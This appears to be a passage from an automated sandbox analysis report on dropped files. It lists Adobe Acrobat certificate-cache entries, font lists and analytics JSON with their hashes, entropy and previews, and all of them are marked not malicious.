C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklxPk3lltfllXlE/HT8k0zttNNX8RolJuRdxLlGB9lQRYwpDdt:kKt/eT8vVNMa8RdWBwRd
MD5:	FBAAD02AE846BF9B23A832B7DFB4D2E0
SHA1:	BF4826D2293737E3D2B5FBD95889C735C2BAD877
SHA-256:	9E6E206C403B168F920BE5E532579E44A5189EF84F6908920D7894DE527C003F
SHA-512:	AD62216423A92311ADC56ED884E0DF0D326175717DF06920F656D8B47B015DA19927A739807C4DD2E5C529BFB7381757DA75617DEDE11AD46C28A83F6EF570C9
Malicious:	false
Preview:	p...... .........*v..c..(....................................................... ..........W.....Z..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2319854253366045
Encrypted:	false
SSDEEP:	6:kKxCL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:pCiDImsLNkPlE99SNxAhUe/3
MD5:	F50A17AF95F1DF1F5172B4BDE6A1D77D
SHA1:	0CA3E560CAD98E318B31D6D702032E06FB259D9B
SHA-256:	552ED9CA4252438B2483E672E834D7429A44F19EE1CC7A56EE3CE81488F15787
SHA-512:	73889378FC1D73B2D4A3A8A713DB0A15CB710DA1F6746D119DFF32B8348DC567C7173FE987362EF026352D4CE68D6D7017A3371367EFFBB508F660E3569EF0B4
Malicious:	false
Preview:	p...... .........p..c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7148

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7148

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.323393859169965
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmXkX9GVoZcg1vRcR0Y5QoAvJM3g98kUwPeUkwRe9:YvXKXgEhZc0vuGMbLUkee9
MD5:	91631C14B2CFCB3382A6BDBC3419B8D1
SHA1:	61F5397B749B4EEAEA157EBD4231A11ABCAF1124
SHA-256:	DB0813FE66CD3B4F7B3773EC371B158BFAB2D01517657BE168128B5563B94E67
SHA-512:	984D221C9642F2D78337EE306E56570B03C1C4A8A6D22A6CD70EFB9D8899414A57443176B0EBB389F649D88CF611B945035C7FFC55EFF04D77E62190D616D197
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ffe5e6d1-62de-42ec-8dec-454a405aa2e0","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736750805511,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.2672325526313974
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmXkX9GVoZcg1vRcR0Y5QoAvJfBoTfXpnrPeUkwRe9:YvXKXgEhZc0vuGWTfXcUkee9
MD5:	0975E5948FB326CC0DF3C7F75621AE16
SHA1:	7CA0ACA81AF1A5051B09E37C734A260083EC548B
SHA-256:	6A8EED6EBA3E70B11DED9DF8EDB602EC2BA82A24E2EDFF1AB4367F3EF7EA5304
SHA-512:	E5389F65B24C8E284F39ADA1479461AE38099E0458C0CE5F7315544A9A8AA883916F21720AAAB9817AAEA396D2D66A0F0F9558220EA5810BF2984D2D10C9445F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ffe5e6d1-62de-42ec-8dec-454a405aa2e0","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736750805511,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.246791236528017
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmXkX9GVoZcg1vRcR0Y5QoAvJfBD2G6UpnrPeUkwRe9:YvXKXgEhZc0vuGR22cUkee9
MD5:	5BC5B6302ACC6FF284CBF3C700B2AEE0
SHA1:	E015A62347BB8850F28A52192A43B2FF37635CB0
SHA-256:	392BE5C0EBD946477AB1E37858BB3DB1E85BB2EEBB9EAC35E3FCFFB2B77DD4D0
SHA-512:	5C4127269143604712E609B1ED3F584023F9E85F5C84FC593902224C1A8221A0C60D5CA87B0E9DBDDB2304BADDAB802D57C462E69DAB2AE64560F4E683771AE3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ffe5e6d1-62de-42ec-8dec-454a405aa2e0","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736750805511,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.309001925816097
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmXkX9GVoZcg1vRcR0Y5QoAvJfPmwrPeUkwRe9:YvXKXgEhZc0vuGH56Ukee9
MD5:	29877F21CB82293C4630D536BA3D46C8
SHA1:	1BC7878B0AE42F2858BEE4C4FC854D9C16E45D23
SHA-256:	76828B1215DA183BBE26451D1FB659DDAE86108BE054086F5BAE279470E2B1C1
SHA-512:	8D88CE0CA0227E70866EB618BA639CB743C94AECC7596D0CC1EE2AAC6F5BB78E92DD5A0B10F270B540337D6C212B728C70160B6B0775FF30D59CEFEC891331F3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ffe5e6d1-62de-42ec-8dec-454a405aa2e0","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736750805511,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.681042677899376
Encrypted:	false
SSDEEP:	24:Yv6XgUzvbpLgE9cQx8LennAvzBvkn0RCmK8czOCCSQ:YvQzhgy6SAFv5Ah8cv/Q
MD5:	F6C5F71AB1D4C7BD74761B85C0700B7E
SHA1:	462EAAE4794ACCD7C803126D9E47F6EAEBCFA462
SHA-256:	44E377308A0E384F00702E0C0C6D5D38423A2F651C69599D80530FA19608E064
SHA-512:	4057B80DCDA7229310A564798833717798F0D7F169A318AF8A108A8E241A9C949201D2A6E627B381DE7D0A86B42F96CF8FC2FDC012319BDD032C7BF49DFE2282
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ffe5e6d1-62de-42ec-8dec-454a405aa2e0","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736750805511,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.250263959565085
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmXkX9GVoZcg1vRcR0Y5QoAvJf8dPeUkwRe9:YvXKXgEhZc0vuGU8Ukee9
MD5:	918B2903E5D6726827ECFB037D75C64B
SHA1:	DE9F0C8A53849FF835F5EB24B85B311F76D9D991
SHA-256:	FAE4B0EADD90BBC2D3BD0EBDE56A9A8C1EC7E20D2EEA61037399E35217D95792
SHA-512:	68A7FE94F01662C0DD3799C18F6289887957B5CCD50827426F6608D0195E2BC7639B5310A1FEBDC26C37DB415F16FCE36C706D0DAC6990C2F4801C4778080A05
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ffe5e6d1-62de-42ec-8dec-454a405aa2e0","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736750805511,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.253949093606524
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmXkX9GVoZcg1vRcR0Y5QoAvJfQ1rPeUkwRe9:YvXKXgEhZc0vuGY16Ukee9
MD5:	990A63EEF130101D64332565528BDF46
SHA1:	54F3F847927A515EA75CDE6A0AC702D892CF31D5
SHA-256:	456DB958B621817BFA37255B194CFBA7BA0EA93FE1C97E4D56189F975BF9C336
SHA-512:	70E21F0F58E9F9440B8F4E2C3AF90D8266F7081B315DFEEC3FE7A9800C32FCA5233EE33D75E0205F6BEB80AB9E6CC14F8D1D7567810740D58B2C98E1ADE05CBF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ffe5e6d1-62de-42ec-8dec-454a405aa2e0","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736750805511,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.258731144244688
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmXkX9GVoZcg1vRcR0Y5QoAvJfFldPeUkwRe9:YvXKXgEhZc0vuGz8Ukee9
MD5:	6E7977683C25E681A76EBAB5F2CE9985
SHA1:	ACCF29DE9E2DEDB87D541351EBCE256ADA8966DF
SHA-256:	775B548D22AC55FF3B05B1A8F2FD469DF52CC8FABE8E68A6D3FEC52AB64FA020
SHA-512:	1F52EA7B0EE42474FABA3FF4DCEF8759D2437A56BA70627935DF2DC0A9EF4E9371F985C855A1FD8EDDC6933269BBD75B0D1FAD36A99CD9A4552E7A5C7E6C1ED8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ffe5e6d1-62de-42ec-8dec-454a405aa2e0","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736750805511,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.2755159055561105
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmXkX9GVoZcg1vRcR0Y5QoAvJfzdPeUkwRe9:YvXKXgEhZc0vuGb8Ukee9
MD5:	28645A2BBA5C01C35FC299CD6229C3AB
SHA1:	FEFA9F9E083A206E92010C96BB236F8459B3D605
SHA-256:	1487A41B55AD7C9FC035F9B95E3D4ECA1C7F89FF216F733F56629F9AF2F23209
SHA-512:	2B98874CA406C67A23A8153151E7975BF91438ED76933586110925C91B87B84F2576FC592AAB5CDE51FDFF48D36FC721788F2070F5FA4D4AA9757DE81203199C
Malicious:	false
